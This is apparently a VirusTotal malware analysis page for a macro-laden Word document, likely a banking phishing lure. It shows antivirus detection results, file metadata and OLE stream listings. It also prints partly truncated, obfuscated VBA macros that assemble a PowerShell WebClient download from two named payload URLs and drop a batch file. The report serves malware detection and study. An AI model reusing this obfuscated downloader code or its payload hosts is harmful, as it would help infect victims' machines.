Antivirus scan for 2cad210c46f8533a968baca5749a6f2df01c258beab2bc9587d2339c930b6be5 at 2017-09-06 23:04:30 UTC

Antivirus	Result	Update
Ad-Aware	VB:Trojan.VBA.Agent.LX	20170906
AegisLab	Vb.Troj.Vba!c	20170906
Arcabit	VB:Trojan.VBA.Agent.LX	20170906
Avast	Other:Malware-gen [Trj]	20170906
AVG	Other:Malware-gen [Trj]	20170906
BitDefender	VB:Trojan.VBA.Agent.LX	20170906
Cyren	W97M/Agent	20170906
Emsisoft	VB:Trojan.VBA.Agent.LX (B)	20170906
F-Prot	New or modified W97M/Agent	20170906
F-Secure	VB:Trojan.VBA.Agent.LX	20170906
Fortinet	WM/Agent.Q!tr	20170906
GData	VB:Trojan.VBA.Agent.LX	20170906
Ikarus	Win32.Outbreak	20170906
Kaspersky	HEUR:Trojan.Script.Agent.gen	20170906
MAX	malware (ai score=81)	20170906
eScan	VB:Trojan.VBA.Agent.LX	20170906
Rising	Macro.Agent.dx (classic)	20170901
Tencent	Macro.Trojan.Dropperx.Auto	20170907
TrendMicro	W2KM_POWLOAD.ASUKK	20170906
ZoneAlarm by Check Point	HEUR:Trojan-Downloader.Script.Generic	20170906
AhnLab-V3		20170906
Alibaba		20170906
ALYac		20170906
Antiy-AVL		20170906
Avira (no cloud)		20170906
AVware		20170906
Baidu		20170906
Bkav		20170906
CAT-QuickHeal		20170906
ClamAV		20170906
CMC		20170902
Comodo		20170906
CrowdStrike Falcon (ML)		20170804
Cylance		20170907
DrWeb		20170906
Endgame		20170821
ESET-NOD32		20170906
Sophos ML		20170822
Jiangmin		20170906
K7AntiVirus		20170906
K7GW		20170906
Kingsoft		20170907
Malwarebytes		20170906
McAfee		20170906
McAfee-GW-Edition		20170906
Microsoft		20170906
NANO-Antivirus		20170906
nProtect		20170906
Palo Alto Networks (Known Signatures)		20170907
Panda		20170906
Qihoo-360		20170907
SentinelOne (Static ML)		20170806
Sophos AV		20170906
SUPERAntiSpyware		20170906
Symantec		20170906
Symantec Mobile Insight		20170906
TheHacker		20170904
TrendMicro-HouseCall		20170906
Trustlook		20170907
VBA32		20170906
VIPRE		20170906
ViRobot		20170906
Webroot		20170907
WhiteArmor		20170829
Yandex		20170906
Zillya		20170906
Zoner		20170906

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

Summary

last_author

Longer

creation_datetime

2017-09-06 13:27:00

revision_number

author

Longer

page_count

last_saved

2017-09-06 13:35:00

edit_time

480

template

Normal.dotm

application_name

Microsoft Office Word

character_count

code_page

Latin I

Document summary

line_count

company

diakov.net

characters_with_spaces

version

786432

paragraph_count

code_page

Latin I

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/Module1

[+] Macros/VBA/Module2

[+] Macros/VBA/ThisDocument

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/dir

[+] Macros/VBA/myform1

[+] Macros/myform1/\x01CompObj

[+] Macros/myform1/\x03VBFrame

[+] Macros/myform1/f

[+] Macros/myform1/o

[+] WordDocument

Macros and VBA code streams

[+] ThisDocument.cls Macros/VBA/ThisDocument 30 bytes

[+] Module1.bas Macros/VBA/Module1 44 bytes

[+] Module2.bas Macros/VBA/Module2 2722 bytes

Function generateFuncName()
firstSymbol = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
lastSymbol = "qwertyuiopasdfghjklzxcvbnm1234567890"
middleSymbol1 = "qwertyuiopasdfghjklzxcvbnm"
middleSymbol2 = "qwertyuiopasdfghjklzxcvbnm-_"
Randomize
gCount = CInt(Int((9 * Rnd()) + 4))
symbolRand = CInt(Int(((Len(fisrSymbol) + 1) * Rnd()) + 1))
gName = Mid(firstSymbol, symbolRand, 1)
For i = 2 To gCount - 1
symbolRand = CInt(Int(((Len(middleSymbol1) + 1) * Rnd()) + 1))
gName = gName + Mid(middleSymbol1, symbolRand, 1)
Next i
symbolRand = CInt(Int(((Len(lastSymbol) + 1) * Rnd()) + 1))
gName = gName + Mid(lastSymbol, symbolRand, 1)
generateFuncName = gName
End Function
           
Function generateArgName()
firstSymbol = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
lastSymbol = "qwertyuiopasdfghjklzxcvbnm1234567890"
middleSymbol1 = "qwertyuiopasdfghjklzxcvbnm"
middleSymbol2 = "qwertyuiopasdfghjklzxcvbnm-_"
Randomize
gCount = CInt(Int((9 * Rnd()) + 4))
symbolRand = CInt(Int(((Len(fisrSymbol) + 1) * Rnd()) + 1))
gName = Mid(firstSymbol, symbolRand, 1)
For i = 2 To gCount - 1
symbolRand = CInt(Int(((Len(middleSymbol1) + 1) * Rnd()) + 1))
gName = gName + Mid(middleSymbol1, symbolRand, 1)
Next i
symbolRand = CInt(Int(((Len(lastSymbol) + 1) * Rnd()) + 1))
gName = gName + Mid(lastSymbol, symbolRand, 1)

generateArgName = gName
End Function

Function generateFileName1()
firstSymbol = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
lastSymbol = "qwertyuiopasdfghjklzxcvbnm1234567890"
middleSymbol1 = "qwertyuiopasdfghjklzxcvbnm"
middleSymbol2 = "qwertyuiopasdfghjklzxcvbnm-_"
Randomize
gCount = CInt(Int((9 * Rnd()) + 4))
symbolRand = CInt(Int(((Len(fisrSymbol) + 1) * Rnd()) + 1))
gName = Mid(firstSymbol, symbolRand, 1)
For i = 2 To gCount - 1
symbolRand = CInt(Int(((Len(middleSymbol2) + 1) * Rnd()) + 1))
gName = gName + Mid(middleSymbol2, symbolRand, 1)
Next i
symbolRand = CInt(Int(((Len(lastSymbol) + 1) * Rnd()) + 1))
gName = gName + Mid(lastSymbol, symbolRand,  [... continues ...]

[+] myform1.frm Macros/VBA/myform1 6056 bytes

run-file

Private Sub TextBox1_Change()
Select Case "ikg"
Case "mmuxweb"
' ajrewolbyvv egelma oxwa uloccutpu jajo uwpyrryten
Dim ivgekm
ivgekm = #10/23/1973#
Rem mseruzvi ozmagi ekykpobh ybxuj apfyqnyzgu cokuju onjacqull
End Select
Dim lbomek0, ohvij4, osqozyffo7, kcore0, egemixb7, oqoptobhy1, unsel1, gahcyle6, uqpax, darekqa0, acyroqma, str6, ufwudr, ottilykqu, xfyhudo, reqjil6, nvibxavcas, yvurv, ekukmila, mirzys, cpyjob, yrerhuqqo0, csuloz7, yvyryggi, yhlegoq6
If 514 = 484 Then
Dim avniv
avniv = "8253"
End If
Dim ceke1, vizpexhag0, ubjabpusgu1, sifriwru7, fonatqiqg, axqopes, gvepristar4, ytetis, hywifn, yxyb, yvajybe3, qfyvuxtyzr, olpucwi4, lrevwafv, erizg1, atjufduqi2, wajtitbi0, ocepv1
' icup puq ewos uzetofo dcuriju pfexikit
argname = generateArgName
yxyb = "$" + argname + ",'"
If 437 = 810 Then
Dim adoljedw
adoljedw = "3388"
Dim inelowj
inelowj = "2827"
End If
yvajybe3 = "." + "d" + "o" + "WN"
funcname = generateFuncName
erizg1 = "try{" + funcname + "(''http://"
sifriwru7 = "t.WE" + "bCL"
ohvij4 = """""function " + funcname + "([String] $" + argname + "){"
Rem dahfi zwykor
oqoptobhy1 = "lO" + "AdF" + "i"
Select Case "ty"
Case "olsyza"
Dim icvydpi
icvydpi = True
' enuxnu nzikw ukicwisve rtumufgowbi eqosmef bivc
Rem ybymisli apnafdu pwuqeze ucmav obqot vhoqfy
End Select
If 106 = 531 Then
' enunirgy qmiqet ezyszu
Rem lokadomv ddekeb uvmopxihmac gqysadjefo libixqaca
' qjami
End If
atjufduqi2 = "docum"
Select Case "mzy"
Case "ewg"
Rem emyphexwol
Case "ze"
Dim alcyzi
alcyzi = False
' mtiwul okzapm
End Select
darekqa0 = "dupuis-informatique.ch/kas13.png'')}'"""" |"
Select Case "ozel"
Case "hzuceg"
Dim cerwiw
cerwiw = 3264
Dim ifjydy
ifjydy = "3017"
Dim aldatx
aldatx = "ku"
Rem qisi udbylcaw tgecikybku tixivyv udpec rura ygeduznytf
End Select
filename2 = generateFileName2
osqozyffo7 = "P%\" + filename2 + ".b" + "at'"""
Dim hgoxgu
hgoxgu = False
wajtitbi0 = "vkiiski.net/kas13.png'')}"
If 809 = 286 Then
Dim yryla
yryla = #5/4/2020#
Dim ezgyvg
ezgyvg = "evixlykf"
End If
ufwudr =  [... continues ...]

ExifTool file metadata

SharedDoc

Author

Longer

HyperlinksChanged

System

Windows

LinksUpToDate

LastModifiedBy

Longer

HeadingPairs

Title, 1

Identification

Word 8.0

Template

Normal.dotm

CharCountWithSpaces

Word97

LanguageCode

English (US)

CompObjUserType

Microsoft Office Word 97-2003 Document

ModifyDate

2017:09:06 12:35:00

Company

diakov.net

Characters

CodePage

Windows Latin 1 (Western European)

RevisionNumber

MIMEType

application/msword

Words

CreateDate

2017:09:06 12:27:00

Lines

AppVersion

12.0

Security

None

Software

Microsoft Office Word

FileType

DOC

TotalEditTime

8.0 minutes

Pages

ScaleCrop

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

DocFlags

Has picture, 1Table, ExtChar

Compressed bundles

This file was also submitted to VirusTotal in the following compressed file bundles.

00cee91f53d798e1328e2ebf1368295f3952bd64c9ddcd5b59e1c79e37a09230

222ca260b271774c6c0b3ab2d4bdcf60a3fe93eb81ddeb7db20539939fd4fc59

5a4e066e2f77fd11520c52868a46308654660b5a44f1fe4848439efce95e65a7

File identification

MD5 89a64bc052548d568a5fe958127b568f

SHA1 7412911856c6098f672e700fb7b4ff4d1e7c153b

SHA256 2cad210c46f8533a968baca5749a6f2df01c258beab2bc9587d2339c930b6be5

ssdeep

1536:yn1GZ4cgWLGQ9wCdRZPgEFPyx1uSksB2zGJumqF73:XZyrL0zPopkDz6qFb

File size 106.0 KB ( 108546 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Longer, Template: Normal.dotm, Last Saved By: Longer, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 08:00, Create Time/Date: Tue Sep 05 12:27:00 2017, Last Saved Time/Date: Tue Sep 05 12:35:00 2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (80.0%) Generic OLE2 / Multistream Compound File (20.0%)

VirusTotal metadata

First submission 2017-09-06 18:44:52 UTC ( 1 year, 5 months ago )

Last submission 2018-05-11 00:11:20 UTC ( 9 months, 1 week ago )

File names

binary
myvtfile.exe
cibc2112457656545_2154.doc
cibc2112457656545_2154.doc
__substg1.0_37010102
=?UTF-8?B?Y2liYzIxMTI0NTc2NTY1NDVfMjE1NC5kb2M=?=
cibc2112457656545_2154.doc
7010e2931f9c7e4c23a1e24526a3d517f2c9f352
2cad210c46f8533a968baca5749a6f2df01c258beab2bc9587d2339c930b6be5.dat
=?UTF-8?B?Y2liYzIxMTI0NTc2NTY1NDVfMjE1NC5kb2M=?=-2017-09-07.05-30-02.txt

SHA256:	2cad210c46f8533a968baca5749a6f2df01c258beab2bc9587d2339c930b6be5
File name:	cibc2112457656545_2154.doc
Detection ratio:	20 / 58
Analysis date:	2017-09-06 23:04:30 UTC ( 1 year, 5 months ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

Compressed bundles

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in